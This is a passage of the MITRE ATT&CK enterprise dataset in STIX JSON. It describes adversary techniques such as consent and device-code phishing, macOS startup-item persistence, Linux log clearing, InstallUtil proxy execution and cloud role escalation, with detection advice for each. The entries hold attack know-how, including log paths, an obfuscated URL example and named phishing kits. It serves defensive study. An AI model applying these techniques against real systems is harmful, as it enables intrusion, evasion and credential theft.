Consent Phishing 2021)\n\nAdversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through \u201cconsent phishing\u201d into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \u201cdevice code phishing,\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Philip Winther", "Shailesh Tiwary (Indian Army)", "Mark Wee", "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", "Kobi Haimovich, CardinalOps", "Menachem Goldstein"], "x_mitre_deprecated": false, "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "2.6", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Application Log: Application Log Content", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "created": "2020-03-02T19:15:44.182Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1566/002", "external_id": "T1566.002"}, {"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "CISA IDN ST05-016", "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"}, {"source_name": "Trend Micro Pawn Storm OAuth 2017", "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"}, {"source_name": "Netskope Device Code Phishing 2021", "description": "Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.", "url": "https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1"}, {"source_name": "Microsoft OAuth 2.0 Consent Phishing 2021", "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.", "url": "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "Mandiant URL Obfuscation 2023", "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}, {"source_name": "Optiv Device Code Phishing 2021", "description": "Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.", "url": "https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing"}, {"source_name": "SecureWorks Device Code Phishing 2021", "description": "SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth\u2019S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.", "url": "https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1165", "url": "https://attack.mitre.org/techniques/T1165"}, {"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", "source_name": "Startup Items"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}], "modified": "2020-01-15T18:02:49.891Z", "name": "Startup Items", "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_effective_permissions": ["root"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", "type": "attack-pattern", "created": "2020-01-28T17:11:54.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1070.002", "url": "https://attack.mitre.org/techniques/T1070/002"}, {"source_name": "Linux Logs", "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/", "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020."}], "modified": "2020-03-29T21:23:51.886Z", "name": "Clear Linux or Mac System Logs", "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records\n* <code>/var/log/kern.log</code>: Kernel logs\n* <code>/var/log/cron.log</code>: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Deletion", "File: File Modification", "Command: Command Execution"]}, {"x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "type": "attack-pattern", "created": "2020-02-20T15:37:27.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1499.004", "url": "https://attack.mitre.org/techniques/T1499/004"}, {"source_name": "Sucuri BIND9 August 2015", "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html", "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019."}], "modified": "2022-03-25T18:11:13.604Z", "name": "Application or System Exploitation", "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content", "Sensor Health: Host Status", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "x_mitre_impact_type": ["Availability"]}, {"x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Nick Carr, Mandiant", "Microsoft Threat Intelligence Center (MSTIC)", "Sahar Shukrun", "Praetorian", "Loic Jaquemet", "Ricardo Dias"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1137", "url": "https://attack.mitre.org/techniques/T1137"}, {"source_name": "SensePost Ruler GitHub", "url": "https://github.com/sensepost/ruler", "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019."}, {"source_name": "TechNet O365 Outlook Rules", "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/", "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019."}, {"source_name": "CrowdStrike Outlook Forms", "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746", "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."}, {"source_name": "Outlook Today Home Page", "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943", "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."}, {"source_name": "Microsoft Detect Outlook Forms", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."}, {"source_name": "SensePost NotRuler", "url": "https://github.com/sensepost/notruler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}], "modified": "2021-10-15T20:18:31.112Z", "name": "Office Application Startup", "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", "x_mitre_version": "1.3", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Application Log: Application Log Content", "Windows Registry: Windows Registry Key Modification", "File: File Modification", "Module: Module Load", "Process: Process Creation", "Windows Registry: Windows Registry Key Creation", "Command: Command Execution"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Travis Smith, Tripwire", "Casey Smith"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", "type": "attack-pattern", "created": "2020-01-23T19:09:48.811Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.004", "url": "https://attack.mitre.org/techniques/T1218/004"}, {"source_name": "MSDN InstallUtil", "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"}, {"source_name": "LOLBAS Installutil", "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."}], "modified": "2022-03-11T18:47:52.603Z", "name": "InstallUtil", "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Application control"], "x_mitre_permissions_required": ["User"]}, {"modified": "2024-04-19T13:26:16.082Z", "name": "Spearphishing Link", "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also embed \u201ctracking pixels\u201d, \"web bugs\", or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \u201cquishing\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly  to a user\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\u2019s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_contributors": ["Philip Winther", "Sebastian Salla, McAfee", "Menachem Goldstein", "Robert Simmons, @MalwareUtkonos", "Elpidoforos Maragkos, @emaragkos", "Joas Antonio dos Santos, @C0d3Cr4zy", "Austin Herrin", "Obsidian Security", "Sam Seabrook, Duke Energy"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Application Log: Application Log Content", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "created": "2020-10-02T17:09:50.723Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1598/003", "external_id": "T1598.003"}, {"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "TrendMictro Phishing", "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"}, {"source_name": "IAPP", "description": "IAPP. (n.d.). Retrieved March 5, 2024.", "url": "https://iapp.org/resources/article/web-beacon/"}, {"source_name": "QR-campaign-energy-firm", "description": "Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.", "url": "https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm"}, {"source_name": "PCMag FakeLogin", "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "Mr. D0x BitB 2022", "description": "mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.", "url": "https://mrd0x.com/browser-in-the-browser-phishing-attack/"}, {"source_name": "Mandiant URL Obfuscation 2023", "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}, {"source_name": "NIST Web Bug", "description": "NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.", "url": "https://csrc.nist.gov/glossary/term/web_bug"}, {"source_name": "Proofpoint Human Factor", "description": "Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.", "url": "https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf"}, {"source_name": "Ryte Wiki", "description": "Ryte Wiki. (n.d.). Retrieved March 5, 2024.", "url": "https://en.ryte.com/wiki/Tracking_Pixel"}, {"source_name": "qr-phish-agriculture", "description": "Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.", "url": "https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing"}, {"source_name": "ZScaler BitB 2020", "description": "ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.", "url": "https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-11T20:24:03.069Z", "name": "SSH", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_deprecated": false, "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems <code>log show --predicate 'process = \"sshd\"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in <code>/var/log/auth.log</code> or <code>/var/log/secure</code> depending on the distro you are using.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Process: Process Creation", "Network Traffic: Network Connection Creation"], "x_mitre_system_requirements": ["An SSH server is configured and running."], "type": "attack-pattern", "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "created": "2020-02-11T18:27:15.774Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/004", "external_id": "T1021.004"}, {"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-29T18:29:06.873Z", "name": "Additional Cloud Roles", "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Microsoft Threat Intelligence Center (MSTIC)", "Alex Parsons, Crowdstrike", "Chris Romano, Crowdstrike", "Wojciech Lesicki", "Pi\u00e0 Consigny, Tenable", "Cl\u00e9ment Notin, Tenable", "Praetorian", "Alex Soler, AttackIQ", "Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for 